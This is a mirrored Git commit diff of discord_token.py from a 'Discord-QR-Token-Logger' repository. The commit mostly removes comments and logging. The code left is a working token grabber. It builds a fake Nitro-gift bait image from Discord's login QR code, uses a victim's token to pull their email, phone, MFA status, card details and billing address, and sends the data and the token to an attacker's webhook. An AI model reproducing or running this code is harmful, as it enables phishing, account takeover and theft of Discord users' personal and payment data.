mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-06-13 14:05:13 +00:00
Update discord_token.py
This commit is contained in:
parent
eefd25d56e
commit
399ba93561
@ -1,29 +1,22 @@
|
|||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
from logging import ERROR
|
|
||||||
|
|
||||||
from bs4 import BeautifulSoup
|
from bs4 import BeautifulSoup
|
||||||
from discord_webhook import DiscordEmbed, DiscordWebhook
|
from discord_webhook import DiscordEmbed, DiscordWebhook
|
||||||
from discord_webhook.webhook_exceptions import ColorNotInRangeException
|
from discord_webhook.webhook_exceptions import ColorNotInRangeException
|
||||||
from PIL import Image
|
from PIL import Image
|
||||||
from requests import get
|
from requests import get
|
||||||
|
|
||||||
from constants import EMBED_AVATAR, EMBED_COLOR, EMBED_USERNAME, PAYMENT_CARD, PAYMENT_PAYPAL
|
from constants import EMBED_AVATAR, EMBED_COLOR, EMBED_USERNAME, PAYMENT_CARD, PAYMENT_PAYPAL
|
||||||
from exceptions import InvalidToken, QRCodeNotFound, WebhookSendFailure
|
from exceptions import InvalidToken, QRCodeNotFound, WebhookSendFailure
|
||||||
from logger import log_unknown_exceptions
|
|
||||||
|
|
||||||
|
|
||||||
class QRGrabber:
|
class QRGrabber:
|
||||||
"""The QRGrabber class is used to grab Discord tokens via QR codes.
|
|
||||||
"""
|
|
||||||
__slots__ = ('resources_path')
|
__slots__ = ('resources_path')
|
||||||
|
|
||||||
def __init__(self, resources_path: str) -> None:
|
def __init__(self, resources_path: str) -> None:
|
||||||
self.resources_path = resources_path
|
self.resources_path = resources_path
|
||||||
|
|
||||||
@log_unknown_exceptions(ERROR)
|
|
||||||
def get_qr_from_source(self, source: BeautifulSoup) -> str:
|
def get_qr_from_source(self, source: BeautifulSoup) -> str:
|
||||||
#Grabs the discord QR code from the source provided.
|
|
||||||
if not (div := re.search(r'qrCode-......', str(source))):
|
if not (div := re.search(r'qrCode-......', str(source))):
|
||||||
raise QRCodeNotFound(
|
raise QRCodeNotFound(
|
||||||
'The QR code could not be found on the Discord login page — please try again or contact the developers.')
|
'The QR code could not be found on the Discord login page — please try again or contact the developers.')
|
||||||
@ -32,29 +25,20 @@ class QRGrabber:
|
|||||||
qr_code = div.find('img')['src']
|
qr_code = div.find('img')['src']
|
||||||
return qr_code
|
return qr_code
|
||||||
|
|
||||||
@log_unknown_exceptions(ERROR)
|
|
||||||
def generate_qr_for_template(self, path_1: str, path_2: str) -> None:
|
def generate_qr_for_template(self, path_1: str, path_2: str) -> None:
|
||||||
"""Generates a QR code using the files in the resources directory.
|
|
||||||
\nThis QR code will be placed upon a Discord Nitro template to form a full bait image.
|
|
||||||
"""
|
|
||||||
qr_img = Image.open(path_1, 'r')
|
qr_img = Image.open(path_1, 'r')
|
||||||
ovly_img = Image.open(os.path.join(os.path.dirname(os.path.realpath(__file__)) ,self.resources_path, 'overlay.png'), 'r')
|
ovly_img = Image.open(os.path.join(os.path.dirname(os.path.realpath(__file__)) ,self.resources_path, 'overlay.png'), 'r')
|
||||||
qr_img.paste(ovly_img, (60, 55))
|
qr_img.paste(ovly_img, (60, 55))
|
||||||
qr_img.save(path_2, quality=95)
|
qr_img.save(path_2, quality=95)
|
||||||
|
|
||||||
@log_unknown_exceptions(ERROR)
|
|
||||||
def generate_nitro_template(self, path_2: str) -> None:
|
def generate_nitro_template(self, path_2: str) -> None:
|
||||||
#Generates a Discord Nitro template using the files in the resources directory.
|
|
||||||
#This template will be used to form a full bait image after a QR code pasted on it.
|
|
||||||
nitro_template = Image.open(os.path.join(os.path.dirname(os.path.realpath(__file__)) , self.resources_path, 'template.png'), 'r')
|
nitro_template = Image.open(os.path.join(os.path.dirname(os.path.realpath(__file__)) , self.resources_path, 'template.png'), 'r')
|
||||||
nitro_template.paste(Image.open(path_2, 'r'), (120, 409))
|
nitro_template.paste(Image.open(path_2, 'r'), (120, 409))
|
||||||
nitro_template.save('discord_gift.png', quality=95)
|
nitro_template.save('discord_gift.png', quality=95)
|
||||||
|
|
||||||
|
|
||||||
class TokenInfo:
|
class TokenInfo:
|
||||||
"""The TokenInfo class is used to get information from a Discord token and
|
|
||||||
perform actions based on said information, such as sending the data to a webhook.
|
|
||||||
"""
|
|
||||||
__slots__ = ('headers', 'token', 'id', 'username', 'discriminator',
|
__slots__ = ('headers', 'token', 'id', 'username', 'discriminator',
|
||||||
'email', 'phone', 'mfa_enabled',
|
'email', 'phone', 'mfa_enabled',
|
||||||
'has_nitro', 'payment_source', 'card_brand', 'card_last_4_digits',
|
'has_nitro', 'payment_source', 'card_brand', 'card_last_4_digits',
|
||||||
@ -62,7 +46,6 @@ class TokenInfo:
|
|||||||
'address_1', 'address_2', 'country',
|
'address_1', 'address_2', 'country',
|
||||||
'state', 'city', 'postal_code')
|
'state', 'city', 'postal_code')
|
||||||
|
|
||||||
@log_unknown_exceptions(ERROR)
|
|
||||||
def __init__(self, token: str) -> None:
|
def __init__(self, token: str) -> None:
|
||||||
self.headers = {
|
self.headers = {
|
||||||
"Authorization": token,
|
"Authorization": token,
|
||||||
@ -71,16 +54,9 @@ class TokenInfo:
|
|||||||
if not self.check_token():
|
if not self.check_token():
|
||||||
raise InvalidToken
|
raise InvalidToken
|
||||||
|
|
||||||
std_response = get('https://discordapp.com/api/v6/users/@me',
|
std_response = get('https://discordapp.com/api/v6/users/@me', headers=self.headers).json()
|
||||||
headers=self.headers).json()
|
payment_response = get("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=self.headers).json()
|
||||||
|
subscriptions_response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=self.headers).json()
|
||||||
payment_response = get("https://discordapp.com/api/v6/users/@me/billing/payment-sources",
|
|
||||||
headers=self.headers).json()
|
|
||||||
|
|
||||||
subscriptions_response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions',
|
|
||||||
headers=self.headers).json()
|
|
||||||
|
|
||||||
# Standard Data
|
|
||||||
|
|
||||||
self.token = token
|
self.token = token
|
||||||
self.id = std_response["id"]
|
self.id = std_response["id"]
|
||||||
@ -91,13 +67,6 @@ class TokenInfo:
|
|||||||
self.mfa_enabled = 'enabled' if std_response["mfa_enabled"] else 'disabled'
|
self.mfa_enabled = 'enabled' if std_response["mfa_enabled"] else 'disabled'
|
||||||
self.has_nitro = bool(subscriptions_response)
|
self.has_nitro = bool(subscriptions_response)
|
||||||
|
|
||||||
# Personal Data
|
|
||||||
|
|
||||||
# These fields are set to None here so that if bool(payment_response) is False, the
|
|
||||||
# fields will still be accessible by those who wish to use this class outside this
|
|
||||||
# project and will not throw any potential errors caused by their
|
|
||||||
# disappearance.
|
|
||||||
|
|
||||||
self.payment_source = None
|
self.payment_source = None
|
||||||
self.card_brand = None
|
self.card_brand = None
|
||||||
self.card_last_4_digits = None
|
self.card_last_4_digits = None
|
||||||
@ -130,21 +99,13 @@ class TokenInfo:
|
|||||||
self.city = data["billing_address"]["city"]
|
self.city = data["billing_address"]["city"]
|
||||||
self.postal_code = data["billing_address"]["postal_code"]
|
self.postal_code = data["billing_address"]["postal_code"]
|
||||||
|
|
||||||
@log_unknown_exceptions(ERROR)
|
|
||||||
def send_info_to_webhook(self, webhook_url: str) -> bool:
|
def send_info_to_webhook(self, webhook_url: str) -> bool:
|
||||||
"""Sends the token information to a webhook.
|
|
||||||
Args:
|
|
||||||
webhook_url (str): the URL of the webhook to send the data to.
|
|
||||||
Returns:
|
|
||||||
bool: returns True if the operation did not fail, otherwise returns False.
|
|
||||||
"""
|
|
||||||
try:
|
try:
|
||||||
webhook = DiscordWebhook(
|
webhook = DiscordWebhook(
|
||||||
url=webhook_url,
|
url=webhook_url,
|
||||||
username=EMBED_USERNAME,
|
username=EMBED_USERNAME,
|
||||||
avatar_url=EMBED_AVATAR)
|
avatar_url=EMBED_AVATAR)
|
||||||
embed = DiscordEmbed(color=EMBED_COLOR)
|
embed = DiscordEmbed(color=EMBED_COLOR)
|
||||||
|
|
||||||
embed.add_embed_field(name='User Token Info', value=f""":crown:`Username:` **{self.username}#{self.discriminator}**
|
embed.add_embed_field(name='User Token Info', value=f""":crown:`Username:` **{self.username}#{self.discriminator}**
|
||||||
:id:`User ID:` **{self.id}**
|
:id:`User ID:` **{self.id}**
|
||||||
:e_mail:`Mail:` **{self.email}**
|
:e_mail:`Mail:` **{self.email}**
|
||||||
@ -153,7 +114,6 @@ class TokenInfo:
|
|||||||
|
|
||||||
if self.billing_name is not None:
|
if self.billing_name is not None:
|
||||||
if self.payment_source == PAYMENT_CARD:
|
if self.payment_source == PAYMENT_CARD:
|
||||||
|
|
||||||
embed.add_embed_field(name='Payment Info (Debit or Credit Card)', value=f""":credit_card:`Brand:` ||**{self.card_brand}**||
|
embed.add_embed_field(name='Payment Info (Debit or Credit Card)', value=f""":credit_card:`Brand:` ||**{self.card_brand}**||
|
||||||
:information_source:`Last 4:` ||**{self.card_last_4_digits}**||
|
:information_source:`Last 4:` ||**{self.card_last_4_digits}**||
|
||||||
:date:`Expiration:` ||**{self.card_expiry_date}**||""")
|
:date:`Expiration:` ||**{self.card_expiry_date}**||""")
|
||||||
@ -178,13 +138,12 @@ class TokenInfo:
|
|||||||
name='Payment Info (:x:)',
|
name='Payment Info (:x:)',
|
||||||
value='**No Payment Info Founded.**\n',
|
value='**No Payment Info Founded.**\n',
|
||||||
inline=False)
|
inline=False)
|
||||||
|
|
||||||
embed.add_embed_field(
|
embed.add_embed_field(
|
||||||
name='Token',
|
name='Token',
|
||||||
value=f"```yaml\n{self.token}\n```",
|
value=f"```yaml\n{self.token}\n```",
|
||||||
inline=False)
|
inline=False)
|
||||||
embed.set_footer(
|
embed.set_footer(
|
||||||
text='By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0',
|
text='By Lemon.-_-.#3714',
|
||||||
inline=False)
|
inline=False)
|
||||||
webhook.add_embed(embed)
|
webhook.add_embed(embed)
|
||||||
webhook.execute()
|
webhook.execute()
|
||||||
@ -193,9 +152,7 @@ class TokenInfo:
|
|||||||
raise WebhookSendFailure(
|
raise WebhookSendFailure(
|
||||||
f'Failed to send the token information webhook: {e}')
|
f'Failed to send the token information webhook: {e}')
|
||||||
|
|
||||||
@log_unknown_exceptions(ERROR)
|
|
||||||
def check_token(self) -> bool:
|
def check_token(self) -> bool:
|
||||||
#Returns True if the discord API responds with status code 200 to a token.
|
|
||||||
response = get(
|
response = get(
|
||||||
'https://discord.com/api/v6/users/@me',
|
'https://discord.com/api/v6/users/@me',
|
||||||
headers=self.headers)
|
headers=self.headers)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user